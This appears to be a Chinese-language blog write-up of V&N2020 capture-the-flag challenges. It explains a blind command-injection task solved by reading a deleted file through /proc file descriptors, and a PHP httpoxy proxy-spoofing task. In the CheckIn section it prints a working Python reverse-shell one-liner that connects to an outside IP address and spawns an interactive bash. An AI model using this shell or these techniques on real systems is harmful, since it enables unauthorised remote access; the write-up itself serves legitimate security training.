V&N2020

HappyCTFd

ctfd漏洞 cve-2020-7245

CheckIn

考点: 1.无回显rce 2.文件描述符
分析源码:

from flask import Flask, request
import os
app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
# return flag
## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"

@app.route('/')
def source():
return open("app.py","r").read()

if __name__ == "__main__":
app.run(host='0.0.0.0')

我们先分析下几个路由,很明显,我们可以在shell这个路由执行命令,但是他是无回显的,然后接下来我们可以看到,flag.txt这个文件,会先被打开,然后再执行删除命令,所以要如何读到这个flag呢?
文件描述符
什么是文件描述符:内核利用文件描述符来访问文件。文件描述符是非负整数。打开现存文件或新建文件时,内核会返回一个文件描述符。读写文件也需要使用文件描述符来指定待读写的文件。

例如Python中,当我们open()函数打开一个文件时便创建了一个文件描述符,而后对这个文件描述符使用read()函数便是读取文件描述符中的内容,close()函数用于关闭/销毁这个文件描述符。

文件描述符储存在什么地方:/proc/<pid>/fd<id>

也就是说,我们可以通过cat进程中的fd来获取到文件描述符。而文件描述符中就存储着该文件的内容

无回显命令执行,一般都是考虑反弹shell操作,但是这里curl等一些常见命令都执行不了,这有这个可以

python3 -c 
'
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("110.42.133.120",9999));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);
'

接下来就使用以下命令

cd /proc
ls
cd /proc/[pid]#进程数字
cd /porc/[pid]/fd
cat [文件描述符数字]

进行flag的查找即可
img

小结

这题的考点让我没想到的是,原来文件描述符里面可以存储文件的信息,只要你有对他进行操作既有,以前都是光用,没想到这个~,现在就明了了

TimeTravel

<?php
error_reporting(0);
require __DIR__ . '/vendor/autoload.php';

use GuzzleHttp\Client;

highlight_file(__FILE__);

if(isset($_GET['flag'])) {
$client = new Client();
$response = $client->get('http://127.0.0.1:5000/api/eligible');
$content = $response->getBody();
$data = json_decode($content, TRUE);
if($data['success'] === true) {
echo system('/readflag');
}
}

if(isset($_GET['file'])) {
highlight_file($_GET['file']);
}

if(isset($_GET['phpinfo'])) {
phpinfo();
}

拿到flag的条件是data[success]的条件为true,这里有个漏洞就是这题的考点
https://github.com/vulhub/vulhub/tree/master/cgi/httpoxy
大致就是,如果定义了环境变量http_proxy,php内的http-api就会走这个代理。在这个phpinfo中就开启了cgi模式了,然后可以在服务器写入需要传入的一个true的内容,并在题目那边配置这个地址即可收到我们传入的content

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Fri, 06 Mar 2020 18:27:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: Keep-alive
Content-Length: 16

{"success":true}
img img
Author

vague huang

Posted on

2021-10-09

Updated on

2021-10-09

Licensed under

Comments